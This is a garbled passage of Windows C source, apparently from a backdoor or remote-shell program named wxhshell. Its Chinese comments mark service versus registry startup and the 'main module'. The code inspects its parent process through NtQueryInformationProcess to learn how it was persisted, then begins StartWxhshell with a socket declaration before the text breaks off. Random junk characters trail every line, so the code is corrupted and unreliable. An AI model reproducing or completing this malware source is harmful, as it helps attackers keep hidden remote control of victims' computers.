DWORD BasePriority; JX2
|
ULONG UniqueProcessId; b]so9aCz
ULONG InheritedFromUniqueProcessId; +X%fcoc
} PROCESS_BASIC_INFORMATION; fUL{c,7xda
^;bGP.!p
PROCNTQSIP NtQueryInformationProcess; 35@Ibe~
e%@[d<Ta\
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -?%{A%'
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; M$>WmG1~D
1^WA
HANDLE hProcess; QX.F1T2e?
PROCESS_BASIC_INFORMATION pbi; t;e]L'z@:
_,K>u6N&
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); H~_^w.P
if(NULL == hInst ) return 0; RqX4ep5j
6M<mOhp@}n
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); N8L)KgM5#7
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); V"2AN3~&
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [hv3o0".
n_xQSVI0F
if (!NtQueryInformationProcess) return 0; .2(@jx,[
>ihe|WN
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); qRP8dH
if(!hProcess) return 0; 9TXm Z
cVP49r}}v
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |$|n V^y
*2m&?,nJ
CloseHandle(hProcess); d~z<,_r5c
7z P
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /xrq'|r?C
if(hProcess==NULL) return 0; /J9T=N
"` ?Wu
HMODULE hMod; d,Dg"Z
char procName[255]; Z#cU#)`y1
unsigned long cbNeeded; 7"CH\*%
\ \mO+N47i
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \'^Z_6{w
Med"dHo7
CloseHandle(hProcess); iqv\ag
k`4\.m"&
if(strstr(procName,"services")) return 1; // 以服务启动 |z<wPJ,;2
]BS{,sI
return 0; // 注册表启动 We+FP9d %
} ;u-< {2P
kAQ\t?`x
// 主模块 Vp-OGX[
int StartWxhshell(LPSTR lpCmdLine) cwW~ *90#
{ - m x3^
SOCKET wsl; n5,Pq+[
BOOL val=TRUE; &<